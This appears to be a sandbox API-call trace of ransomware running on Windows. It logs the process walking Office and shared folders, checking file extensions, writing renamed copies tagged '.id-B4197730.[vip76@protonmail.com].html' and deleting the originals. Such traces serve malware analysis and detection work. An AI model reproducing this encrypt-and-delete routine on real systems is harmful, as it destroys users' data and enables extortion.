	[0208.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.505] GetLastError () returned 0x0
	[0208.505] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x1526, lpOverlapped=0x0) returned 1
	[0208.506] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x1530, lpOverlapped=0x0) returned 1
	[0208.507] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.507] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.508] SetEndOfFile (hFile=0x388) returned 1
	[0208.508] CloseHandle (hObject=0x388) returned 1
	[0208.508] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.508] SetEndOfFile (hFile=0x384) returned 1
	[0208.509] CloseHandle (hObject=0x384) returned 1
	[0208.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0208.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.509] lstrlenW (lpString=".doc") returned 4
	[0208.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.509] lstrlenW (lpString=".docx") returned 5
	[0208.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.510] lstrlenW (lpString=".pdf") returned 4
	[0208.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString=".xls") returned 4
	[0208.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.510] lstrlenW (lpString=".xlsx") returned 5
	[0208.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.510] lstrlenW (lpString=".ppt") returned 4
	[0208.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString=".zip") returned 4
	[0208.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.510] lstrlenW (lpString=".rar") returned 4
	[0208.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString=".bz2") returned 4
	[0208.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString=".7z") returned 3
	[0208.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString=".dbf") returned 4
	[0208.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString=".1cd") returned 4
	[0208.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString=".jpg") returned 4
	[0208.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.510] lstrlenW (lpString=".doc") returned 4
	[0208.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.510] lstrlenW (lpString=".docx") returned 5
	[0208.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.511] lstrlenW (lpString=".pdf") returned 4
	[0208.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString=".xls") returned 4
	[0208.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.511] lstrlenW (lpString=".xlsx") returned 5
	[0208.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.511] lstrlenW (lpString=".ppt") returned 4
	[0208.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.511] lstrlenW (lpString=".zip") returned 4
	[0208.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.511] lstrlenW (lpString=".rar") returned 4
	[0208.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString=".bz2") returned 4
	[0208.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString=".7z") returned 3
	[0208.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.511] lstrlenW (lpString=".dbf") returned 4
	[0208.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.511] lstrlenW (lpString=".1cd") returned 4
	[0208.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0208.511] lstrlenW (lpString=".jpg") returned 4
	[0208.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.511] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.512] lstrlenW (lpString="HH01875_.WMF") returned 12
	[0208.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.512] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=2616) returned 1
	[0208.512] CloseHandle (hObject=0x384) returned 1
	[0208.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220
	[0208.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.512] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.512] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.513] GetLastError () returned 0x0
	[0208.513] ReadFile (hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0) 

Thread:
	id = 95
	os_tid = 0xf94

	[0205.081] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3d70048
	[0205.082] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3d80050
	[0205.082] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df2a8
	[0205.082] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec710
	[0205.083] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df218
	[0205.083] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x3e7f020
	[0205.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df2c0
	[0205.085] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df2c0, Size=0x20) returned 0x59e0b8
	[0205.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df308
	[0205.085] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df308, Size=0x20) returned 0x59e180
	[0205.085] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.086] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.086] Wow64DisableWow64FsRedirection (in: OldValue=0x32bff50 | out: OldValue=0x32bff50*=0x0) returned 1
	[0205.086] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e0b8 | out: hHeap=0x560000) returned 1
	[0205.086] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e180 | out: hHeap=0x560000) returned 1
	[0205.086] Sleep (dwMilliseconds=0x64) 
	[0205.330] Sleep (dwMilliseconds=0x64) 
	[0205.568] Sleep (dwMilliseconds=0x64) 
	[0205.899] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0205.899] lstrlenW (lpString="Alphabet.xml") returned 12
	[0205.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.899] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=791421) returned 1
	[0205.900] CloseHandle (hObject=0x34c) returned 1
	[0205.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0205.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.900] lstrlenW (lpString=".doc") returned 4
	[0205.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString=".docx") returned 5
	[0205.900] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0205.900] lstrlenW (lpString=".pdf") returned 4
	[0205.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString=".xls") returned 4
	[0205.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString=".xlsx") returned 5
	[0205.900] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0205.900] lstrlenW (lpString=".ppt") returned 4
	[0205.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.900] lstrlenW (lpString=".zip") returned 4
	[0205.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0205.900] lstrlenW (lpString=".rar") returned 4
	[0205.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString=".bz2") returned 4
	[0205.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0205.900] lstrlenW (lpString=".7z") returned 3
	[0205.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString=".dbf") returned 4
	[0205.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString=".1cd") returned 4
	[0205.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString=".jpg") returned 4
	[0205.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString=".doc") returned 4
	[0205.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString=".docx") returned 5
	[0205.901] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0205.901] lstrlenW (lpString=".pdf") returned 4
	[0205.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString=".xls") returned 4
	[0205.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString=".xlsx") returned 5
	[0205.901] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0205.901] lstrlenW (lpString=".ppt") returned 4
	[0205.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.901] lstrlenW (lpString=".zip") returned 4
	[0205.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0205.901] lstrlenW (lpString=".rar") returned 4
	[0205.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString=".bz2") returned 4
	[0205.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0205.901] lstrlenW (lpString=".7z") returned 3
	[0205.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0205.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.902] lstrlenW (lpString=".dbf") returned 4
	[0205.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0205.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.902] lstrlenW (lpString=".1cd") returned 4
	[0205.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0205.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0205.902] lstrlenW (lpString=".jpg") returned 4
	[0205.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0205.902] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0205.902] lstrlenW (lpString="Content.xml") returned 11
	[0205.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.903] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=27045) returned 1
	[0205.903] CloseHandle (hObject=0x34c) returned 1
	[0205.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0205.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.903] lstrlenW (lpString=".doc") returned 4
	[0205.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0205.903] lstrlenW (lpString=".docx") returned 5
	[0205.903] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0205.903] lstrlenW (lpString=".pdf") returned 4
	[0205.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0205.903] lstrlenW (lpString=".xls") returned 4
	[0205.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0205.903] lstrlenW (lpString=".xlsx") returned 5
	[0205.903] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0205.903] lstrlenW (lpString=".ppt") returned 4
	[0205.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0205.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.903] lstrlenW (lpString=".zip") returned 4
	[0205.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0205.903] lstrlenW (lpString=".rar") returned 4
	[0205.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString=".bz2") returned 4
	[0205.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString=".7z") returned 3
	[0205.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.904] lstrlenW (lpString=".dbf") returned 4
	[0205.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.904] lstrlenW (lpString=".1cd") returned 4
	[0205.904] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.904] lstrlenW (lpString=".jpg") returned 4
	[0205.904] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.904] lstrlenW (lpString=".doc") returned 4
	[0205.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString=".docx") returned 5
	[0205.904] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0205.904] lstrlenW (lpString=".pdf") returned 4
	[0205.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString=".xls") returned 4
	[0205.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString=".xlsx") returned 5
	[0205.904] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0205.904] lstrlenW (lpString=".ppt") returned 4
	[0205.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0205.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.905] lstrlenW (lpString=".zip") returned 4
	[0205.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0205.905] lstrlenW (lpString=".rar") returned 4
	[0205.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0205.905] lstrlenW (lpString=".bz2") returned 4
	[0205.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0205.905] lstrlenW (lpString=".7z") returned 3
	[0205.905] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.905] lstrlenW (lpString=".dbf") returned 4
	[0205.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.905] lstrlenW (lpString=".1cd") returned 4
	[0205.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0205.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0205.905] lstrlenW (lpString=".jpg") returned 4
	[0205.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0205.905] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0205.905] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0205.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.906] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=111320) returned 1
	[0205.906] CloseHandle (hObject=0x34c) returned 1
	[0205.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0205.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".doc") returned 4
	[0205.907] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".docx") returned 5
	[0205.907] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0205.907] lstrlenW (lpString=".pdf") returned 4
	[0205.907] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".xls") returned 4
	[0205.907] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".xlsx") returned 5
	[0205.907] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0205.907] lstrlenW (lpString=".ppt") returned 4
	[0205.907] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".zip") returned 4
	[0205.907] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".rar") returned 4
	[0205.907] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".bz2") returned 4
	[0205.907] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString=".7z") returned 3
	[0205.907] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".dbf") returned 4
	[0205.907] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".1cd") returned 4
	[0205.907] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".jpg") returned 4
	[0205.907] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
